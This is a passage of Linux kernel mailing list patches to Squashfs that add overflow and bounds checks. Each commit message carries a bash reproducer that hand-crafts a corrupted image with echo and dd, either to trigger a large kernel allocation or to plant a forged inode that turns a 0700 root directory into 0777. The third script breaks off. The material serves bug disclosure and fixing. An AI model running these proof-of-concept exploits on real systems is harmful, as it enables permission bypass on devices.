fragment table start values in the superblock, and force the code to kmalloc() a 4 Mbyte memory region, or try to allocate larger values which will fail with a warning, and which will panic the kernel if panic on warn is set. If the allocation succeeds, these invalid values will be caught when the code tries to read the data from disk, but, this leaves a small time window where the 4 Mbyte block is allocated before being freed when the mount of the filesystem fails. The exploit relies on arithmetic overflow to evade the following sanity check: if (fragment_table_start + length > next_table) Specifically, the values of fragment_table_start and length can be chosen so that they overflow an unsigned long long, and so appear less than next_table. Typically, the maximum memory that can be allocated with kmalloc() is 4 Mbytes. So if length is 4 Mbytes, this means fragment_table_start needs to be 2^64 - 4 Mbytes, to achieve overflow and produce a zero length. This value is beyond the end of any block device, because the maximum block device is 2^63 - 512 in size (LLONG_MAX >> 9 sectors of 512 bytes). In practice this means such a large value will be caught when the code immediately after allocation tries to read the data off disk: table =3D squashfs_read_table(sb, fragment_table_start, length); However, the code should check for validity before allocating a large kmalloc() area, because such allocations can cause memory pressure or cause the kernel to panic. This commit checks that fragment_tables_size is not too large, and ensures arithmetic overflow does not occur. It also makes the sanity check more exacting by utilising the fact that there should be zero gap between the end of the fragment index table and the next table. Reproducer =3D=3D=3D=3D=3D=3D=3D=3D=3D The following script if the eploit works, will fail with the mount error mount: attempt to access beyond end of device =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D #!/bin/bash ARGS=3D"-quiet -no-progress" finish() { popd 2>&1 > /dev/null rm -rf $DIR exit 1 } # Create a Squashfs filesystem with a single file. # DIR=3D$(mktemp -d) pushd $DIR 2>&1 > /dev/null echo Create the Squashfs filesystem if ! mksquashfs - img.sqsh -p "/ d 0777 0 0" -p "/file f 0777 0 0 echo hell= o" $ARGS; then echo Failed to create Squashfs filesystem finish fi # The fragments field (fragment count) in the superblock is at offset # 16 bytes. # # Over-write the fragments count with 268,435,456 little-endian. # This will make the kernel try to kmalloc() 4 Mbytes to hold the # fragment index table. # # Write 268,435,456 in little-endian format to file /usr/bin/echo -en "\x00\x00\x00\x10" > file # Over-write the fragments count in the superblock echo Over-write the fragments count in the superblock dd bs=3D1 seek=3D16 if=3Dfile of=3Dimg.sqsh count=3D4 conv=3Dnotrunc status= =3Dnone # The fragment table start (start of the index table) in the superblock # is at offset 72 bytes. # # Over-write the value with 2^64 - 4 Mbytes little-endian. # This value with the index table length will overflow an unsigned # long long, giving the value 0. This will evade the sanity check. # Write 2^64 - 4 Mbytes in little-endian format to file /usr/bin/echo -en "\x00\x00\xc0\xff\xff\xff\xff\xff" > file # Over-write the fragment table start in the superblock echo Over-write the fragment table start in the superblock dd bs=3D1 seek=3D80 if=3Dfile of=3Dimg.sqsh count=3D8 conv=3Dnotrunc status= =3Dnone # Mount the filesystem to /mnt echo Mount the filesystem to /mnt # If the eploit works, the mount will fail with # mount: attempt to access beyond end of device if ! mount -t squashfs img.sqsh /mnt; then echo Mount of Squashfs filesystem failed finish fi popd 2>&1 > /dev/null rm -rf $DIR =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Fixes: 1cac63cc9b2f ("Squashfs: add sanity checks to fragment reading at mo= unt time") Signed-off-by: Phillip Lougher --- fs/squashfs/fragment.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/fs/squashfs/fragment.c b/fs/squashfs/fragment.c index e945d045d55e..9f63e5b5c513 100644 --- a/fs/squashfs/fragment.c +++ b/fs/squashfs/fragment.c @@ -68,11 +68,11 @@ __le64 *squashfs_read_fragment_index_table(struct super= _block *sb, __le64 *table; =20 /* - * Sanity check, length bytes should not extend into the next table - - * this check also traps instances where fragment_table_start is - * incorrectly larger than the next table start + * The computed size of the index table (length bytes) should exactly + * match the table start and end points */ - if (fragment_table_start + length > next_table) + if (fragment_table_start >=3D next_table || + length !=3D (next_table - fragment_table_start)) return ERR_PTR(-EINVAL); =20 table =3D squashfs_read_table(sb, fragment_table_start, length); --=20 2.47.3 From nobody Tue Nov 24 12:34:56 2026 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=188.121.53.38 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1795405435; b=zG3gbZ25TZONBMFqufuCxRQ9VXEtqdzUbZ9RT8gTvd3CmlheeqMvzdeJNYkXjVes/NGo LK2kq32TgJFIocywwBTlKmI2dGhu+0fDhVJJUlHMcgJ3VcNneYowUpezYKjOxpUgsRTd2 XSSBk0Xp4nWpRtuxxphxRxzpLkbmVta7sIgSVZqpHQGs0Hk6s9dS5xJpkdrwZWK3LgUoB aNMvhsKxXHr8ZCWCRvpltrIAXcYJCGTGvbnihf1S+lUFOiQ2URMyxxd1PJZBSXfldY8DG oo1oD/ITh76T4/bKM5pNWRsiK1Ni4twROcMoWLcvvaM29P6AkcSkxP1y8b36dQykvMg== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1795405435; h=DMARC-Filter:Received:DKIM-Signature:DKIM-Signature:X-CMAE-Analysis: Feedback-ID:X-SECURESERVER-ACCT:From:To:Cc:Subject:Date:Message-ID: X-Mailer:In-Reply-To:References:MIME-Version: Content-Transfer-Encoding:X-CMAE-Envelope; bh=s+tKXuZGhkaU4VoKx3bofkHTh2Bm8KiLCNWCPlQcDjE=; b=2nFGOfAgeBKaYLhdqYm70GtR/9AyXcmSZbmALDG5mHADcvFJ150/9mpbmBD3uNAoEv00 SZU98rnXQYlxUnwJM5fnocqoMcrOEsuAln6Z8ywksVH9lPZZGGHDpEERwgwqJzJEXlvLY Hrg3K5GksyqVRgKNmcQbbF+QY8Tmg21zp8gGrTrOe7YmmrndhgJyddczT5HNlb35vcXch v3TIDu5UVTYtpw8oX0ovncEibhAgCpTvY17Tz4Ql285npewXay9nP2odSqSYaKGpMm6F4 5GbmMykDW7rXvoAJ+8W4N9xwTpdGqArghcxDArq8LAGhexHIEkVrvUM3qqn0Q5fUaZA== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass header.from=squashfs.org.uk; spf=pass smtp.mailfrom=squashfs.org.uk; dkim=pass header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=cQ7AXwx2; dkim=pass header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=pvki0py6; arc=none smtp.remote-ip=188.121.53.38 Received: from sxplsmtpa04-04.prod.sxb1.secureserver.net (sxplsmtpa04-04.prod.sxb1.secureserver.net [188.121.53.38]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 66692606A6B6 for ; Mon, 23 Nov 2026 03:43:54 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org 66692606A6B6 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=reject dis=none) header.from=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key, unprotected) header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=cQ7AXwx2; dkim=pass (2048-bit key, unprotected) header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=pvki0py6 Received: from avalon.fritz.box ([82.69.79.175]) by :SMTPAUTH: with ESMTPA id VKxRxJoOeZuU3VKxwxiqR0; Mon, 23 Nov 2026 03:43:41 +0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=secureserver.net; s=secureserver2; t=1795405421; bh=s+tKXuZGhkaU4VoKx3bofkHTh2Bm8KiLCNWCPlQcDjE=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=cQ7AXwx2YV8daT7Krj5YP6c4GIicn8rq6ivTOuJzsxI2XjR4I/Z0JznvAKEjRlwbd nw7joy2ztdGHScuvyUFYTqO07eg0c8z/wZP4hIqKKXhKHroc0qrXT/GwExZl8nkqP9 /nyavOVy49jiDP3aQaZN44Km4BRCQduMiQycLl3+mb+k29hzhJ/0VOpw+qM0RSFWxJ b3Du18IWZvyLwoKE2gvyCm9tqby6KzJD2VgOeqOKqpuRvyO8OEzz+ZpylcuxRED74T hXcFki8TirUt53V8rHx6yPf4MqvGg2pTwJPQkrAzIzzotvakkcE+atp3NBLdMXIvQn uX7nkBNgEm5/A== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squashfs.org.uk; s=secureserver1; t=1795405421; bh=s+tKXuZGhkaU4VoKx3bofkHTh2Bm8KiLCNWCPlQcDjE=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=pvki0py6D3IMs9Z448YbhrGiPEHc/ZQ778Kwr+XWO+vxJ6eJzPMbDcFV1erRU73iE LWwf4iugQvE+li2T1De2dHMhH7Vkz3BIXKbjIs7X6QkkORbPUT8IHcL7tvAp4ROl2J P2k4zMwLqFrm4uCNHAcjH+dDqzD3QOqaQUkBszsGsDCpw/9uJWxkXCM/ZxkAJXZCpw A3HT1AIh5LI3SMAUUAx7MY4B/DVYWPY4PsFZ13vOpM7tby4SQjC/QmywZtbCIjPToY pzcU0MoNtcfUpG+HOHTaoQnKVQK4ddF4fuccQDq0m1sqbxVv8mK/CNZB1S0Ll7XKVC JDePV4rbdNw+g== X-CMAE-Analysis: v=2.4 cv=CvYq4X4D c=1 sm=1 tr=0 ts=6b03b66d a=84ok6UeoqCVsigPHarzEiQ==:117 a=84ok6UeoqCVsigPHarzEiQ==:17 a=FXvPX3liAAAA:8 a=WbH0joDL9KXNTEjrqjoA:9 a=UObqyxdv-6Yh2QiB9mM_:22 Feedback-ID: d25d190e7585006091b36652712129c9:squashfs.org.uk:ssnet X-SECURESERVER-ACCT: phillip@squashfs.org.uk From: Phillip Lougher To: akpm@linux-foundation.org, linux-kernel@vger.kernel.org Cc: Phillip Lougher Subject: [PATCH v3 11/23] Squashfs: sanity check inode metadata block location Date: Mon, 23 Nov 2026 03:42:52 +0000 Message-ID: <20261123034304.261742-12-phillip@squashfs.org.uk> X-Mailer: git-send-email 2.47.3 In-Reply-To: <20261123034304.261742-1-phillip@squashfs.org.uk> References: <20261123034304.261742-1-phillip@squashfs.org.uk> X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-CMAE-Envelope: MS4xfA8VrDrVHYb1s2SWrBiUmYqGOYRiaBZP7Mu0Ih4EYN1Hk/pj828Z+vLCips2o22+9926cjFNHepqzm4XSCQTkc1EBAvPtcw7JSs+JL+bio1+nnzxdZng tO2xCWPRrbrj7CwPIxLhb5c8PCWBIbTMDc6nxDRufdq7JNth7WxLtDHdOeOIWIjYN1i7D3FVSQEyAQKgcKYxeizZAdc0Jklj0I8JVmbBfs2fLe7Lb6pBjTfk RhiW4UzHEcGwkCiRK3/MYO97xOPdPJmk65/g82RpNlUetOaA9OWs593J3Muogamt Content-Type: text/plain; charset="utf-8" An inode reference in Squashfs is represented as a tuple, the location of the compressed metadata block the inode is in, and the offset into the uncompressed block. The location is not absolute and it is instead encoded as an offset from the start of the inode table. An attacker could manipulate the inode reference to make it point to a replacement malicious inode stored elsewhere, outside the inode table. This is because the code does not check that the location is valid and is within the inode table. In practice this exploit is hard to achieve because metadata in Squashfs is compressed by default, and so the compressed metadata cannot be directly altered. In addition due to sanity checking at mount time there are no gaps in the filesystem to hide a malicious inode. Also anyone with access to Mksquahfs/Unsquashfs can copy and recreate the filesystem incorporating whatever changes they want. However there are a number of exploit scenarios here. Many embedded systems or secure systems have deliberately restricted installations with only basic tools, and lack any Mksquashfs/Unsquashfs. But exploits due to this bug can be achieved with only echo and dd. An example exploit is where a Squashfs filesystem root directory has permissions 0700 (u=3Drxw), where only the superuser can enter the directory and access the content within. But using this bug an attacker could place a malicious root inode in the inode lookup table (used by NFS) which has the permissions changed to 0777 (a=3Drwx), and then update the root_inode field in the superblock to point to that. On reboot/remount this will make the directory accesisible to unprivileged users. The following shell script acts as a reproducer and proof of concept. This commit blocks such attempts by adding a new helper squashfs_inode_start() which adds additional sanity checking, first ensuring no arithmetic operations overflow, and second checking that the inode is within the inode table. Reproducer =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D The following Bash script uses echo and dd to achieve the previously discussed exploit. If the exploit is successful the root directory permisions will be changed to 0777 (a=3Drwx), but otherwise the filesystem is unchanged. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D #!/bin/bash ARGS=3D"-no-sparse -no-hardlinks -no-progress -quiet -inode-time 0 -mkfs-ti= me 0" finish() { popd 2>&1 > /dev/null rm -rf $DIR exit 1 } DIR=3D$(mktemp -d) pushd $DIR 2>&1 > /dev/null # Create a Squashfs pseudo file which is fed to Mksquashfs echo Create a Squashfs pseudo file which is fed to Mksquashfs dd if=3D/dev/zero of=3Dzero bs=3D1024 count=3D1 status=3Dnone for i in $(seq 1 100); do echo "$i l zero" >> pseudo done # Create a Squashfs filesystem with the root directory permissions u=3Drwx = (0700) echo "Create a Squashfs filesystem with the root directory permissions u=3D= rwx (0700)" if ! mksquashfs - img.sqsh -pf pseudo -p "/ d 0700 0 0" $ARGS; then echo Failed to create Squashfs filesystem finish fi # The root_inode field in the superblock points to the compressed metadata # block and offset within it, where the root inode is stored. # # Create a malicious root inode and hide it in the inode lookup table. # Because of mount time checking, there are no gaps between metadata tables # where it can be hidden, and it can't be hidden after the file system end, # because this is checked. # Write malicious inode, this is the same as the original root inode, except # it is uncompressed, and the permissions are set to 0777. /usr/bin/echo -en "\x20\x80\x01\x00\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\ \x65\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\xec\x03\x00\x00\x00\x00\x0= 0\ \x00" > file # Place new root inode inside the inode lookup table echo Place new root inode inside the inode lookup table dd bs=3D1 seek=3D960 if=3Dfile of=3Dimg.sqsh count=3D34 conv=3Dnotrunc stat= us=3Dnone # Update the root_inode field in the superblock to point to our new inode # The start block is an offset from the inode_table_start, and not an # absolute value. The start of the inode table is 113, the new inode # is placed at position 964, and so the offset is 851. Because we've only # stored one inode in the metadata block, the offset into that block is 0. # echo Update the root_inode field in the superblock to point to our new inode /usr/bin/echo -en "\x00\x00\x4f\x03" > file dd bs=3D1 seek=3D32 if=3Dfile of=3Dimg.sqsh count=3D4 conv=3Dnotrunc status= =3Dnone # Mount the filesystem to /mnt echo Mount the filesystem to /mnt if ! mount -t squashfs img.sqsh /mnt; then echo Mount of Squashfs filesystem failed finish fi # Stat /mnt, if the exploit is successful, permissions should be 0777 echo Stat /mnt, if the exploit is successful, permissions should be 0777 stat /mnt popd 2>&1> /dev/null rm -rf $DIR =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Fixes: 6545b246a2c8 (" Squashfs: inode operations") Signed-off-by: Phillip Lougher --- v3: - Change sanity check to ensure start isn't equal to directory table (start >=3D msblk->directory_table). v2: - Ensure err is not used uninitialised. --- fs/squashfs/inode.c | 17 ++++++++++------- fs/squashfs/squashfs_helpers.h | 18 ++++++++++++++++++ 2 files changed, 28 insertions(+), 7 deletions(-) diff --git a/fs/squashfs/inode.c b/fs/squashfs/inode.c index 96b5b9c336dd..7c262be4a644 100644 --- a/fs/squashfs/inode.c +++ b/fs/squashfs/inode.c @@ -109,8 +109,8 @@ int squashfs_read_inode(struct inode *inode, long long = ino) { struct super_block *sb =3D inode->i_sb; struct squashfs_sb_info *msblk =3D sb->s_fs_info; - u64 block =3D squashfs_inode_blk(ino) + msblk->inode_table; - int offset =3D squashfs_inode_offset(ino); + s64 block =3D squashfs_inode_start(msblk, ino), sblock =3D block; + int offset =3D squashfs_inode_offset(ino), soffset =3D offset; int err, type; union squashfs_inode squashfs_ino; struct squashfs_base_inode *sqshb_ino =3D &squashfs_ino.base; @@ -118,11 +118,14 @@ int squashfs_read_inode(struct inode *inode, long lon= g ino) =20 TRACE("Entered squashfs_read_inode\n"); =20 + if (block < 0) + goto bad_block_val; + /* * Read inode base common to all inode types. */ - err =3D squashfs_read_metadata(sb, sqshb_ino, &block, - &offset, sizeof(*sqshb_ino)); + err =3D squashfs_read_metadata(sb, sqshb_ino, &sblock, + &soffset, sizeof(*sqshb_ino)); if (err < 0) goto failed_read; =20 @@ -130,9 +133,6 @@ int squashfs_read_inode(struct inode *inode, long long = ino) if (err) goto failed_read; =20 - block =3D squashfs_inode_blk(ino) + msblk->inode_table; - offset =3D squashfs_inode_offset(ino); - type =3D le16_to_cpu(sqshb_ino->inode_type); switch (type) { case SQUASHFS_REG_TYPE: { @@ -464,6 +464,9 @@ int squashfs_read_inode(struct inode *inode, long long = ino) =20 return 0; =20 +bad_block_val: + err =3D block; + failed_read: ERROR("Unable to read inode 0x%llx\n", ino); return err; diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h index 524d4a77686d..662ebf464d3c 100644 --- a/fs/squashfs/squashfs_helpers.h +++ b/fs/squashfs/squashfs_helpers.h @@ -47,6 +47,24 @@ static inline u16 squashfs_inode_offset(s64 inode) return inode & 0xffff; } =20 +static inline s64 squashfs_inode_start(struct squashfs_sb_info *msblk, s64= inode) +{ + s64 start; + + if (inode < 0) + return -EINVAL; + + if (S64_MAX - msblk->inode_table < squashfs_inode_blk(inode)) + return -EINVAL; + + start =3D msblk->inode_table + squashfs_inode_blk(inode); + + if (start >=3D msblk->directory_table) + return -EINVAL; + + return start; +} + static inline s64 squashfs_mkinode(u32 start, u16 offset) { return ((s64)start << 16) | offset; --=20 2.47.3 From nobody Tue Nov 24 12:34:56 2026 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=188.121.53.35 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1795405437; b=SZncjpco2Wn6064UkLyv/5YBZJpfhwUBQXNPKOjiAPhEqxEVn07PNw88Gzvt0qhGySdv /kpXtnYDfba8HgjRcq9zansgf+5BpCPn2cu7JUmbXuFVs+xAn/x524ibt4Et9LbTgnMyu bPZ10uWKBdFGq6n53VLAapeSeyMbp7tEQaDEnMt61pwGCxygITnAKVi43E7tzEo8YuiCq v7wUXdyKlaOq6JTmr8KRuF0q0PuNpszfyK/tIu0triJlRAaETRgerv9TvvleBGCToguCb CnZ1Do0UpB6JEowtT8YTE6ojawHH9v7LmKA8HZTEUCkUGn6yzt4v51nYjbYD7pXbggw== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1795405437; h=DMARC-Filter:Received:DKIM-Signature:DKIM-Signature:X-CMAE-Analysis: Feedback-ID:X-SECURESERVER-ACCT:From:To:Cc:Subject:Date:Message-ID: X-Mailer:In-Reply-To:References:MIME-Version: Content-Transfer-Encoding:X-CMAE-Envelope; bh=nC2fy4hBeGVVv/wWDX3LZ1rJyLL2CzXFKPc+gtctTAY=; b=nizlkAOj67RfbQHklSWudFNZ3dbpE/d59WUmcAejs1QnBMZn35erCflqu7cuBUa7YWRK uq0Eh7Ukbkll/GVY3Vtb4MFdZX1ZqJqZGjK5Bj33KiXXk145dpqON1RpPZeXFy1sqQMBp 7+wAGfKJzUC800JVXQcJ1aYAU5gAl74ETraVqSnS17PuB8RREHrr7lUvCnio2WhlDol9M I27KloOpm5T6DM2A3yK5CE7vpMPNJ28HIg/qbwq/nw7d+9/fmhb2hHU6+m9b0aID/vsQc 65tZ9chLG6mN2P3vN6efRDAjOTnAmSEW4NhSGknEGmeQxkw5reXxCRz0d+D6xhLyrHg== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass header.from=squashfs.org.uk; spf=pass smtp.mailfrom=squashfs.org.uk; dkim=pass header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=tjKStR+H; dkim=pass header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b="cDN/8MZ0"; arc=none smtp.remote-ip=188.121.53.35 Received: from sxplsmtpa04-04.prod.sxb1.secureserver.net (sxplsmtpa04-04.prod.sxb1.secureserver.net [188.121.53.35]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 809FA60A2609 for ; Mon, 23 Nov 2026 03:43:56 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org 809FA60A2609 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=reject dis=none) header.from=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key, unprotected) header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=tjKStR+H; dkim=pass (2048-bit key, unprotected) header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=cDN/8MZ0 Received: from avalon.fritz.box ([82.69.79.175]) by :SMTPAUTH: with ESMTPA id VKxRxJoOeZuU3VKxxxiqR7; Mon, 23 Nov 2026 03:43:42 +0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=secureserver.net; s=secureserver2; t=1795405423; bh=nC2fy4hBeGVVv/wWDX3LZ1rJyLL2CzXFKPc+gtctTAY=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=tjKStR+Hqz08jbsnLxJktgp7TYbp+9azZits7z9ofJr71HW1QiaNWeIEhC6/YXsDc kYwe7LUG9inIvgLayK/cVNIsJhLrmjvDOG/NXkgMiKnxyy7kfGr5zeWbTeJv8XKFvW U2liWxxBr2fyWLcS501XFfuJHCs1sdSdCvFYCKzdgN85PF8HavrghBX8oqDFpB7mns QSDUC5Lk0/MbHPcALA+n9tQ4e5oM6203ZJb4n1CPiwi4NaXz3GU5cBikC4PaJhg0/5 /WLWq2Bnh4JTOM/pIRWJRL7G1i2icfS9c+fL7ZV5dBwtqKlauo1nciqVYSMl3hmPvW D1u1h24kG2+Gw== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squashfs.org.uk; s=secureserver1; t=1795405423; bh=nC2fy4hBeGVVv/wWDX3LZ1rJyLL2CzXFKPc+gtctTAY=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=cDN/8MZ00jEqBB12Ih4me0xIs3vU76i+BldNRXS8WJWvbJAgUD7XKxBwH0b1gDOGe mKe/DLTHp8NDmJG6NWqPx1Jgd4ujUDlnTz47ekkO757dOqspscGorGF33HVbbOVE1U iAPF7jiWAiRTOB/NxrD6+wR3u7vBfTdCEJX6xXAR8voFxbjAnMKfJFxg7IM/P0fOdR YINc2HPnCgn6M8j4gztPlzEu05qgWnfQsParQxhsWQzAtG6zZ5S8lsf0qS7t8GM5n0 aZgkNs7GClBLKvJd0i2GvkAIDXcY+Ev7KxZxGd5O64m8xEdaD+TCCSjHK5I7oj5Rg0 Eita/LBxgM0gg== X-CMAE-Analysis: v=2.4 cv=CvYq4X4D c=1 sm=1 tr=0 ts=6b03b66e a=84ok6UeoqCVsigPHarzEiQ==:117 a=84ok6UeoqCVsigPHarzEiQ==:17 a=FXvPX3liAAAA:8 a=gec7vXQWKUr_qcHTS5AA:9 a=UObqyxdv-6Yh2QiB9mM_:22 Feedback-ID: f9bb0281d4c83dab87e454446ba354b5:squashfs.org.uk:ssnet X-SECURESERVER-ACCT: phillip@squashfs.org.uk From: Phillip Lougher To: akpm@linux-foundation.org, linux-kernel@vger.kernel.org Cc: Phillip Lougher Subject: [PATCH v3 12/23] Squashfs: sanity check directory metadata block location Date: Mon, 23 Nov 2026 03:42:53 +0000 Message-ID: <20261123034304.261742-13-phillip@squashfs.org.uk> X-Mailer: git-send-email 2.47.3 In-Reply-To: <20261123034304.261742-1-phillip@squashfs.org.uk> References: <20261123034304.261742-1-phillip@squashfs.org.uk> X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-CMAE-Envelope: MS4xfLUj0sKuRJNt/eblwMQl3b/qs/w4VmuhhT2JnrfLCNrqrrHy+G/posNnzDi2NC1CQiVkWDAWRkfFc20Wa4Xn06EE5wK12EDLM3/8bk6PpMAIJUSgLf9/ Pmjfx/TCd0o1JH82FWz/KI/inZVve7yLtrYlRF3fSEZNgU8SvYoNXdeZoN0XYiwZotc4KzObIQBNx9SA1v23ANY6R/4J5IwURkj6SzoHrb+xYIhyb30F1LHU FmrsGliwWu4wDoa3tpN7HfZ6lP+JIpjKrv/ERkmzaEfMKJlf0T4MwefaAeMPVcPI Content-Type: text/plain; charset="utf-8" The contents of directories are stored in compressed metadata blocks, which are placed in the directory table. The location of a directory is thus represented as a tuple, the location of the compressed metadata block that the directory is in, and the offset into the uncompressed block. The block location is not absolute, and it is instead encoded as an offset from the start of the directory table. An attacker could manipulate the directory block location to make it point to a replacement malicious directory stored elsewhere, outside the directory table. This is because the code does not check that the location is valid and is within the directory table. In practice this exploit is hard to achieve because metadata in Squashfs is compressed by default, and so the compressed metadata cannot be directly altered. In addition due to sanity checking at mount time there are no gaps in the filesystem to store a malicious directory. Also anyone with access to Mksquashfs/Unsquashfs can copy and recreate the filesystem incorporating whatever changes they want. However, there are a number of exploit scenarios here. Many embedded systems or secure systems have deliverately restricted installations with only basic tools, and lack any Mksquashfs/Unsquashfs. But exploits due to this bug can be achieved with only echo and dd. An example exploit is where a Squashfs filesystem has a file in the root directory with permissions 0700 (u=3Drxw), where only the superuser can read it. But using this bug an attacker could create a malicious replacement directory in the inode lookup table (used by NFS), that points to a malicious replacement inode that has the permissions changed to 0777 (a=3Dwrx). On reboot/remount this would make the file readable by unprivileged users. The following shell script acts as a reproducer and proof of concept. This commit blocks such attempts by adding a new helper squashfs_dir_start() which adds additional sanity checking, first ensuring no arithmetic operations overflow, and second checking that the directory is within the directory table. Reproducer =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D The following Bash script uses echo and dd to achieve the previously discussed exploit. If the exploit is successful the file "data" permissions will be changed to 0777 (a=3Drwx), but otherwise the filesystem is unchanged. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D #!/bin/bash ARGS=3D"-no-sparse -no-hardlinks -no-progress -quiet -inode-time 0 -mkfs-ti= me 0" finish() { popd 2>&1 > /dev/null rm -rf $DIR exit 1 } DIR=3D$(mktemp -d) pushd $DIR 2>&1 > /dev/null # Create a Squashfs pseudo file which is fed to Mksquashfs echo Create a Squashfs pseudo file which is fed to Mksquashfs dd if=3D/dev/zero of=3Dzero bs=3D1024 count=3D1 status=3Dnone echo "data f 0700 0 0 echo some data" >> pseudo echo "files d 0777 0 0" >> pseudo for i in $(seq 1 100); do echo "files/$i f 0655 1000 1000 cat zero" >> pseudo done # Create a Squashfs filesystem echo "Create a Squashfs filesystem" if ! mksquashfs - img.sqsh -pf pseudo -p "/ d 0777 0 0" $ARGS; then echo Failed to create Squashfs filesystem finish fi # Exploit: The file named "data" has permissions 0700, which can only be # read by the superuser. The desire is to change the permissions on # the file to be 0777, which can be read by unprivileged users. # # Due to compression of the metadata, this cannot be done by directly # writing to the metadata tables. Instead the real metadata is replaced # by malicious metadata starting from the "data" file inode upwards to # the root inode. # # This is a three step process. # # 1. A new "data" file inode is placed within the inode lookup table # 2. A new root directory which points to the new "data" file inode is # placed in the inode lookup table # 3. A new root inode which pounts to the new root directory table is # placed in the inode lookup table. # # For brevity this reproducer uses pre-computed data for the above. # Write malicious inode for file "data", this is the same as the # original except it is uncompressed, and the permissions are set to # 0777. echo Writing 